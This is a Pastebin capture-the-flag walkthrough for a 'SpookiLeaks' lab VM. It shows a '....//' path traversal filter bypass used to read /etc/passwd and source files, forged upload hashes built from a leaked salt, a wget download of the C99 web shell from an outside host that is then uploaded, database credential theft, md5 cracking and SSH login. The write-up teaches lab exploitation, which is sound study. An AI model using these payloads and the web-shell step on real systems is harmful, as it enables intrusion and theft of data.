Guest User

Sp00kTheBox

a guest
Apr 16th, 2014
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 10.34 KB | None | 0 0
  1. The First Clue
  2. The first clue to solving the challenge is hidden in plain sight. Before even logging in if we scan the pre-loaded images on the Spooky Images page there's one image with the following comment:
  3. 01110010011011110110001001101111011101000111001100101110011101000111100001110100
  4. Binary should be a red flag in any CTF. By doing a simple binary to ASCII conversion we get the following output:
  5. robots.txt
  6. Ah-ha! robots.txt... By checking /robots.txt we find the following:
  7. User-agent: *
  8. Disallow: /secret_docs/file-tree.txt
  9. Here we find mention of /secret_docs/file-tree.txt with a rule of "Disallow". Fortunately, this rule is only intended to be read by web-crawlers and has no actual affect on our ability to read the file. By visiting /secret_docs/file-tree.txt we find this.
  10. Score! We just found a complete listing of the application file structure. It's a pretty long list of files but there's a few things worth noting:
  11.     • Docs/flag.txt - This is obviously our target.
  12.     • Controller\Auth\CustomPasswordHasher.php - This could tell us about the way user account passwords are hashed.
  13.     • webroot/uploads/ - This is where user files are uploaded to, indicated by [ User uploads ]. This means any files uploaded to the server will be publicly accessable.
  14. The Application
  15. We have now exposed a lot of information about our application but we still don't have a vector of attack. Let's start assessing the functionality of the app.
  16. We'll start by registering an account (any user/pass will do). Once registered we gain the ability to add an image from the /images/manage page. On first pass let's just use the app as intended. Add a title, select an image (with proper extension type) from our computer and add a comment. Submit the form and we now see our image on the left hand side of the page. Nothing terribly interesting yet. Let's see what this form is actually doing. By viewing the source of the /images/manage page a few things should catch our eye:
  17.     • There's an hidden field in the image submission form referencing a file_hash.
  18.     • This page loads a /js/images.js script that isn't seen on other pages.
  19.     • The images on this page are loaded via a URL parameter: /images/media?file=image_name.jpg
  20. Upon inspection of /js/images.js we find the following:
  21. $('.image-file-upload-input:file').change(function(event) {
  22.  
  23.     // Initialize formData object
  24.     var fileName = $(this).val().split('\\').pop();
  25.  
  26.     $.post('/images/hash', { fileName: fileName }, function(data) {
  27.  
  28.         // Parse JSON data
  29.         var obj = $.parseJSON(data);
  30.  
  31.         if (obj.file_hash) {
  32.  
  33.             // Set the file hash input value
  34.             $('.image-file-hash-input').val(obj.file_hash);
  35.  
  36.         }
  37.  
  38.     });
  39.  
  40. });
  41. This is pretty straight forward. On selection of a file for uploading, a post request is made to /images/hash containing the file name in the post data. The returned data is then set as the value of the hidden file_hash field and this gets sent to the server with the form on submission. By using Firebug or the browsers buit-in developer tools we can see the request being made on file selection and the data returned. The data we get back from the jQuery post appears to be a sha1 hash. With some additional analysis and playing with the form and the hashing function we can tell that the hash generated isn't a direct sha1 of the file name. Also, if we modify the hash after generation the file upload form fails to post any data. Lastly, attempting to upload a file with an extension other than those listed as acceptable fails upon submission as well.
  42. Let's move on for now and look at the suspicious file loading URL. Whenever a file is loaded via URL parameters there's a good chance it's vulnerable to a path traversal attack. Let's try a basic attack:
  43. /images/media?file=../../../../../etc/passwd
  44. This results in an error: File "etc/passwd" Not Found. It's important to note that the returned error does not contain any dot-dot-slashes. This means they're sanitizing this value but there's still a chance it might not be sanitized properly. Knowing the input and output of this unkown function we can make a guess as to what it's doing internally and exploid that. In this case, a good guess is that they are replacing all instanced of ../ with nothing. We can test that out by submitting ....//. If we're right the inner ../ will be replaced with nothing leaving a single ../ in it's place. Let's test that:
  45. /images/media?file=....//....//....//....//....//etc/passwd
  46. It works! Let's try grabbing that flag we saw in the file tree from earlier:
  47. /images/media?file=....//....//Docs/flag.txt
  48. It's never that easy is it? This gives us an error but this time it's a "Permission denied" error. That means the web server doesn't have permissions to read the flag, thus, we're going to have to find a way to read the flag as a user with permission (root perhpse?).
  49. Reconnaissance
  50. At this point we have everything we need to start gathering intel. The path traversal attack plus the file tree give us access to the complete source code of the application as well any other files on the server with laxed permissions. To save some time, I'll now go over some of the key files our investigation should have turned up and their significance:
  51. First, in the /etc/passwd file we tried above we find the "ghost" user:
  52. ghost:x:1000:1000:ghost,,,:/home/ghost:/bin/bash
  53. This, along with the contents of /etc/group let us know the "ghost" account has sudo access:
  54. sudo:x:27:ghost
  55. Thus, if we can gain access to the "ghost" user account we can read the contents of flag.txt.
  56. Okay, let's go back to the image submission form, specifically, the hidden file_hash form field. By viewing the source of the ImagesController at /images/media?file=....//....//Controller/ImagesController.php we see that this hash is checked against a hash of the submitted file's name:
  57. if (!$file['error'] && $hash === $this->hashFile($file['name'])) {
  58. Looking at the main /images/hash action we see a check against the file's extension:
  59. // Get the file name
  60. $fileName = trim($this->request->data['fileName']);
  61.  
  62. // Set array of allowed file extensions
  63. $allowedExtensions = array('png', 'gif', 'jpg', 'jpeg', 'bmp');
  64.  
  65. // Get file extension from source image
  66. $extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
  67.  
  68. // Verify file is of an acceptable type
  69. if (in_array($extension, $allowedExtensions)) {
  70.  
  71.     // Super duper, top secret hashing algorithm
  72.     $data['file_hash'] = $this->hashFile($fileName);
  73.  
  74. } else {
  75.  
  76.     // Return false on failure
  77.     $data['file_hash'] = false;
  78.  
  79. }
  80. And viewing the referenced hashFile() function we see the following:
  81. private function hashFile($fileName) {
  82.  
  83.     // Super duper, top secret hashing algorithm
  84.     return sha1($fileName . 'ErrrMahGerrds_Sup3rS3cr3t_P@ssw0rd');
  85.  
  86. }
  87. That's a bingo! We now have the method of file hashing along with the secret string that gets concatenated with the file name. With this information we can actively exploit the file upload form and generate a valid hash for any file we choose.
  88. Shelling the Server
  89. It's now time to grab a fresh copy of C99 (I also recommend Weevely but for this example we'll stick to the more simple C99 shell) and generate a valid hash for uploading:
  90. $ wget http://www.r57shell.net/shell/c99.txt
  91. $ mv c99.txt not_a_shell.php
  92. $ echo -n "not_a_shell.phpErrrMahGerrds_Sup3rS3cr3t_P@ssw0rd" | sha1sum
  93. This gives us:
  94. 90d5aeb035bbcd0df8f5e84721d3eb8f3321ff8c
  95. Now we can go back to the upload form, select our c99.php file, then using Firebug or the browsers built-in web developer tools modify the value of the hidden file_hash element and set it to our pre-generated hash. This time, when we submit the form, the file upload succeeds without error. Navigating to /uploads/not_a_shell.php now brings up our shell.
  96. From here accessing any aspect of the web application or it's database are trivial. Let's investigate the database now. First, nab the credentials by navigating to /images/media?file=....//....//Config/database.php:
  97. public $default = array(
  98.     'datasource' => 'Database/Mysql',
  99.     'persistent' => false,
  100.     'host'       => 'localhost',
  101.     'login'      => 'spookileaks',
  102.     'password'   => 'rmPtShWVyrCcxfJaBvsPL4t2',
  103.     'database'   => 'spookileaks',
  104.     'prefix'     => '',
  105.     //'encoding' => 'utf8',
  106. );
  107. Using C99, we can dump this data easily and see the following:
  108. id  username    password                            role    created                 modified
  109. 1   ghost       37988bb25d36058671f959f06a7d51b9    admin   2014-04-03 20:53:19     2014-04-03 20:53:19
  110. That's the same user name that we found in /etc/passwd and that password hash looks like a basic md5. We can verify that by checking out he source of that custom password hasher at /media?file=....//....//Controller/Component/Auth/CustomPasswordHasher.php:
  111. public function hash($password) {
  112.  
  113.     // Hash the password
  114.     return md5($password); // md5 4 life
  115.  
  116. }
  117. Yup, unsalted md5. If the password was salted we might start thinking about brute forcing it. However, unsalted passwords are often easily searchable due to them being pre-computed en masse and published online. For our case, a simple Google search reveals the password as ScoobySnacks.
  118. The Final Pieces
  119. We now need to be able to log in to the the system. Without physical access to the box we can perform an nmap scan to see what services are up and running:
  120. $ nmap -sT 192.168.0.170
  121.  
  122. Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-16 10:48 MST
  123. Nmap scan report for 192.168.0.170
  124. Host is up (0.0034s latency).
  125. Not shown: 998 closed ports
  126. PORT   STATE SERVICE
  127. 22/tcp open  ssh
  128. 80/tcp open  http
  129.  
  130. Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
  131. Here we see that SSH is running on the target machine. The last question remaining now is wether or not the ghost user was smart enough to use different passwords for his system account and his web application accounts. All we have to do to test this is SSH into the server with his credentials:
  132. $ ssh ghost@192.168.0.170  # Substitute your VMs IP
  133. ghost@192.168.0.170's password:
  134. Enter the ghost user's password and BOOM! We're in! All we have to do is grab the content of flag:
  135. $ sudo cat /var/www/SpookiLeaks/Docs/flag.txt
  136. [sudo] password for ghost:
  137. And you've got the flag:
  138.      CONGLATURATION !!!
  139.  
  140.      YOU HAVE COMPLETED
  141.        A GREAT GAME.
  142.  
  143.   AND PROOVED THE JUSTICE
  144.       OF OUR CULTURE.
  145.  
  146.     NOW GO AND REST OUR
  147.           HEROES !
Add Comment
Please, Sign In to add comment